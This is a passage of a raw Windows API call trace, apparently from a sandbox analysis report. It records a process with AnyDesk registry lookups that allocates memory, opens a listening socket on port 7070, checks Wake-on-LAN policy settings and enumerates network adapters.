returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab390 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa3b8 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab090 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970fa8 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab300 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972c58 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab330 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972ec0 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab3a8 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19855b8 | out: hHeap=0x1930000) returned 1 [0283.953] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0283.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196b5a0 | out: hHeap=0x1930000) returned 1 [0283.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab348 | out: hHeap=0x1930000) returned 1 [0283.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972050 | out: hHeap=0x1930000) returned 1 [0283.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab360 | out: hHeap=0x1930000) returned 1 [0283.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1963760 | out: hHeap=0x1930000) returned 1 [0283.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab378 | out: hHeap=0x1930000) returned 1 [0283.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0283.954] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0c0 | out: hHeap=0x1930000) returned 1 [0283.954] UnlockFileEx (in: hFile=0x248, dwReserved=0x0, nNumberOfBytesToUnlockLow=0xffffffff, nNumberOfBytesToUnlockHigh=0xffffffff, lpOverlapped=0x2d4f6a8 | out: lpOverlapped=0x2d4f6a8) returned 1 [0283.954] CloseHandle (hObject=0x248) returned 1 [0283.955] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c3c8 | out: hHeap=0x1930000) returned 1 [0283.955] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8dd0 [0283.955] GetCurrentThreadId () returned 0x5d8 [0283.955] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0283.955] GetCurrentThreadId () returned 0x5d8 [0283.955] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xac) returned 0x19778f0 [0283.955] CreateFiberEx (dwStackCommitSize=0x0, dwStackReserveSize=0x0, dwFlags=0x1, lpStartAddress=0x5f6150, lpParameter=0x19778f0) returned 0x16fbd50 [0283.956] GetLastError () returned 0x0 [0283.956] GetSystemTime (in: lpSystemTime=0x2d4f66c | out: lpSystemTime=0x2d4f66c*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x16c)) [0283.956] GetCurrentThreadId () returned 0x5d8 [0283.956] GetCurrentProcessId () returned 0x51c [0283.956] GetLastError () returned 0x0 [0283.957] SwitchToFiber (lpFiber=0x16f6890) [0283.957] SwitchToFiber (lpFiber=0x16f73a0) [0283.957] GetTickCount () returned 0xba0d [0283.957] GetLastError () returned 0x0 [0283.957] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0283.962] GetCurrentThreadId () returned 0x5d8 [0283.962] SetLastError (dwErrCode=0x0) [0283.963] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa0) returned 0x1991b08 [0283.963] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab378 [0283.963] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x24c [0284.077] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8df0 [0284.077] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x258 [0284.077] GetCurrentThreadId () returned 0x5d8 [0284.077] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1963760 [0284.077] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969920 [0284.078] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969910 [0284.078] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969920 | out: hHeap=0x1930000) returned 1 [0284.078] WSAEventSelect (s=0x24c, hEventObject=0x258, lNetworkEvents=59) returned 0 [0284.079] WSAIoctl (in: s=0x24c, dwIoControlCode=0x98000004, lpvInBuffer=0x2ebf938, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x2ebf934, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x2ebf934, lpOverlapped=0x0) returned 0 [0284.079] setsockopt (s=0x24c, level=6, optname=1, optval="\x01", optlen=4) returned 0 [0284.079] setsockopt (s=0x24c, level=65535, optname=4, optval="", optlen=4) returned 0 [0284.080] WSAIoctl (in: s=0x24c, dwIoControlCode=0x98000004, lpvInBuffer=0x2ebf938, cbInBuffer=0xc, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x2ebf934, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x2ebf934, lpOverlapped=0x0) returned 0 [0284.080] setsockopt (s=0x24c, level=65535, optname=4097, optval="", optlen=4) returned 0 [0284.080] htons (hostshort=0x1b9e) returned 0x9e1b [0284.080] bind (s=0x24c, addr=0x2ebf924*(sa_family=2, sin_port=0x1b9e, sin_addr="0.0.0.0"), namelen=16) returned 0 [0284.080] listen (s=0x24c, backlog=10) returned 0 [0284.081] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8e10 [0284.081] GetLastError () returned 0x0 [0284.081] GetSystemTime (in: lpSystemTime=0x2ebf908 | out: lpSystemTime=0x2ebf908*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x1da)) [0284.081] GetCurrentThreadId () returned 0x5d8 [0284.081] GetCurrentProcessId () returned 0x51c [0284.081] GetLastError () returned 0x0 [0284.081] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x64ee60, lpParameter=0x2ebfae8, dwCreationFlags=0x4, lpThreadId=0x2ebfafc | out: lpThreadId=0x2ebfafc*=0x5e8) returned 0x260 [0284.082] ResumeThread (hThread=0x260) returned 0x1 [0284.082] WaitForSingleObject (hHandle=0x25c, dwMilliseconds=0xffffffff) returned 0x0 [0284.123] CloseHandle (hObject=0x25c) returned 1 [0284.123] SwitchToFiber (lpFiber=0x16f6890) [0284.124] SwitchToFiber (lpFiber=0x16f76a0) [0284.124] GetTickCount () returned 0xbaa9 [0284.124] GetLastError () returned 0x0 [0284.124] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0284.125] GetCurrentThreadId () returned 0x5d8 [0284.125] SetLastError (dwErrCode=0x0) [0284.125] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x19a8e50 [0284.125] GetLastError () returned 0x0 [0284.125] GetSystemTime (in: lpSystemTime=0x236f6bc | out: lpSystemTime=0x236f6bc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x32, wSecond=0x2d, wMilliseconds=0x208)) [0284.125] GetCurrentThreadId () returned 0x5d8 [0284.125] GetCurrentProcessId () returned 0x51c [0284.125] GetLastError () returned 0x0 [0284.125] SwitchToFiber (lpFiber=0x16f6890) [0284.125] SwitchToFiber (lpFiber=0x16f93b8) [0284.125] GetTickCount () returned 0xbaa9 [0284.125] GetLastError () returned 0x0 [0284.126] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76a70000 [0284.126] GetCurrentThreadId () returned 0x5d8 [0284.126] SetLastError (dwErrCode=0x0) [0284.126] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1) returned 0x1969920 [0284.126] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0284.127] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0284.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969940, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0284.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0284.127] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0284.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0284.127] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969960 [0284.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0284.127] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969970 [0284.127] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969970, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0284.127] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.127] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2b) returned 0x19aa310 [0284.127] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19731a0 [0284.128] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0284.128] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969970 [0284.128] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8e70 [0284.128] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1962320 [0284.128] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.128] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969960 | out: hHeap=0x1930000) returned 1 [0284.128] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19736f0 [0284.128] RegQueryValueExW (in: hKey=0x0, lpValueName="wol.groupsync", lpReserved=0x0, lpType=0x327fae0, lpData=0x0, lpcbData=0x327fae4*=0x0 | out: lpType=0x327fae0*=0x0, lpData=0x0, lpcbData=0x327fae4*=0x0) returned 0x6 [0284.128] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x327fb0c | out: phkResult=0x327fb0c*=0x0) returned 0x2 [0284.128] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19736f0 | out: hHeap=0x1930000) returned 1 [0284.129] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969960 [0284.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0284.129] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969970 [0284.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969970, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0284.129] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.129] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2b) returned 0x19aa310 [0284.129] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x19736f0 [0284.129] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0284.129] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969970 [0284.129] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19a8e90 [0284.129] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1962350 [0284.130] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969970 | out: hHeap=0x1930000) returned 1 [0284.130] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969960 | out: hHeap=0x1930000) returned 1 [0284.130] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1968830 [0284.130] RegQueryValueExW (in: hKey=0x0, lpValueName="wol.groupsync", lpReserved=0x0, lpType=0x327fae0, lpData=0x0, lpcbData=0x327fae4*=0x0 | out: lpType=0x327fae0*=0x0, lpData=0x0, lpcbData=0x327fae4*=0x0) returned 0x6 [0284.130] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x327fb0c | out: phkResult=0x327fb0c*=0x0) returned 0x2 [0284.130] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1968830 | out: hHeap=0x1930000) returned 1 [0284.130] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.130] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0284.130] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0284.130] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0284.130] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0284.130] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.130] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0284.131] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0284.131] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0284.131] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0284.131] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0284.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969940, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0284.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0284.131] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969900 [0284.131] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x1969900, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0284.131] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969960 [0284.131] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969960 | out: hHeap=0x1930000) returned 1 [0284.131] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1968830 [0284.131] RegQueryValueExW (in: hKey=0x0, lpValueName="features.wol", lpReserved=0x0, lpType=0x327fa98, lpData=0x0, lpcbData=0x327fa9c*=0x0 | out: lpType=0x327fa98*=0x0, lpData=0x0, lpcbData=0x327fa9c*=0x0) returned 0x6 [0284.131] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x327fac4 | out: phkResult=0x327fac4*=0x0) returned 0x2 [0284.131] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1968830 | out: hHeap=0x1930000) returned 1 [0284.132] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969960 [0284.132] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969960 | out: hHeap=0x1930000) returned 1 [0284.132] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1968830 [0284.132] RegQueryValueExW (in: hKey=0x0, lpValueName="features.wol", lpReserved=0x0, lpType=0x327fa98, lpData=0x0, lpcbData=0x327fa9c*=0x0 | out: lpType=0x327fa98*=0x0, lpData=0x0, lpcbData=0x327fa9c*=0x0) returned 0x6 [0284.132] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x327fac4 | out: phkResult=0x327fac4*=0x0) returned 0x2 [0284.132] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1968830 | out: hHeap=0x1930000) returned 1 [0284.132] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.132] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab360 [0284.132] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969900 | out: hHeap=0x1930000) returned 1 [0284.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0284.132] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xa) returned 0x19ab0d8 [0284.132] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9cb4, cbMultiByte=-1, lpWideCharStr=0x19ab0d8, cchWideChar=5 | out: lpWideCharStr="true") returned 5 [0284.133] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab0d8 | out: hHeap=0x1930000) returned 1 [0284.133] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab360 | out: hHeap=0x1930000) returned 1 [0284.133] LoadLibraryW (lpLibFileName="iphlpapi") returned 0x73310000 [0284.133] GetProcAddress (hModule=0x73310000, lpProcName="GetAdaptersAddresses") returned 0x73316a4d [0284.133] GetProcAddress (hModule=0x73310000, lpProcName="GetIpAddrTable") returned 0x73319bb0 [0284.133] GetAdaptersAddresses (in: Family=0x2, Flags=0xe, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0x327fbbc*=0x0 | out: AdapterAddresses=0x0, SizePointer=0x327fbbc*=0x4d8) returned 0x6f [0284.780] GetAdaptersAddresses (in: Family=0x2, Flags=0xe, Reserved=0x0, AdapterAddresses=0x327f690, SizePointer=0x327fbbc*=0x4d8 | out: AdapterAddresses=0x327f690*(Alignment=0x1000000178, Length=0x178, IfIndex=0x10, Next=0x327f910, AdapterName="{68F1467C-143D-484A-87A1-65BCBB1B2D48}", FirstUnicastAddress=0x327f8d0, FirstAnycastAddress=0x0, FirstMulticastAddress=0x0, FirstDnsServerAddress=0x0, DnsSuffix="", Description="Intel(R) 82574L Gigabit Network Connection #5", FriendlyName="Local Area Connection 5", PhysicalAddress=([0]=0x70, [1]=0xb1, [2]=0x4e, [3]=0x8f, [4]=0x5f, [5]=0xf7, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x10, ZoneIndices=([0]=0x10, [1]=0x10, [2]=0x10, [3]=0x10, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x600000a000000, Dhcpv4Server.lpSockaddr=0x327f808*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x27, [5]=0xbf, [6]=0xe, [7]=0x9e, [8]=0x0, [9]=0x26, [10]=0x67, [11]=0xd5, [12]=0xc6, [13]=0x31, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x13c89f1d, FirstDnsSuffix=0x0), SizePointer=0x327fbbc*=0x4d8) returned 0x0 [0284.785] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969940 [0284.785] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969960 [0284.786] htonl (hostlong=0xcd00a8c0) returned 0xc0a800cd [0284.786] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969940 | out: hHeap=0x1930000) returned 1 [0284.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa310 [0284.786] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969960 | out: hHeap=0x1930000) returned 1 [0284.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x5c) returned 0x19603a0 [0284.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x19aa3b8 [0284.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x19aa3f0 [0284.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x5c) returned 0x1960408 [0284.786] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19603a0 | out: hHeap=0x1930000) returned 1 [0284.787] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa310 | out: hHeap=0x1930000) returned 1 [0284.787] FreeLibrary (hLibModule=0x73310000) returned 1 [0284.787] LoadLibraryW (lpLibFileName="iphlpapi") returned 0x73310000 [0284.787] GetProcAddress (hModule=0x73310000, lpProcName="GetAdaptersAddresses") returned 0x73316a4d [0284.788] GetProcAddress (hModule=0x73310000, lpProcName="GetIpAddrTable") returned 0x73319bb0 [0284.788] GetIpAddrTable (in: pIpAddrTable=0x0, pdwSize=0x327fbbc, bOrder=0 | out: pIpAddrTable=0x0, pdwSize=0x327fbbc) returned 0x7a [0284.794] GetIpAddrTable (in: pIpAddrTable=0x327fa60, pdwSize=0x327fbbc, bOrder=0 | out: pIpAddrTable=0x327fa60, pdwSize=0x327fbbc) returned 0x0 [0284.800] htonl (hostlong=0xffffff) returned 0xffffff00 [0284.800] FreeLibrary (hLibModule=0x73310000) returned 1 [0284.800] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab360 [0284.800] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1960408 | out: hHeap=0x1930000) returned 1 [0284.801] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa3f0 | out: hHeap=0x1930000) returned 1 [0284.801] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aa3b8 | out: hHeap=0x1930000) returned 1 [0284.801] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x60) returned 0x1960408 [0284.801] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x327fbc4 | out: lpSystemTimeAsFileTime=0x327fbc4*(dwLowDateTime=0xe3da1060, dwHighDateTime=0x1d8a8f3)) [0284.801] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x27) returned 0x1962380 [0284.801] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1000) returned 0x19ae2f8 [0284.802] GetLastError () returned 0x0 [0284.802] RegQueryValueExW (in: hKey=0x0, lpValueName="wol.machash", lpReserved=0x0, lpType=0x327fa98, lpData=0x0, lpcbData=0x327fa9c*=0x0 | out: lpType=0x327fa98*=0x0, lpData=0x0, lpcbData=0x327fa9c*=0x0) returned 0x6 [0284.802] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x327fac4 | out: phkResult=0x327fac4*=0x0) returned 0x2 [0284.803] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a8ef0 | out: hHeap=0x1930000) returned 1 [0284.803] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969980 [0284.803] MultiByteToWideChar (in: 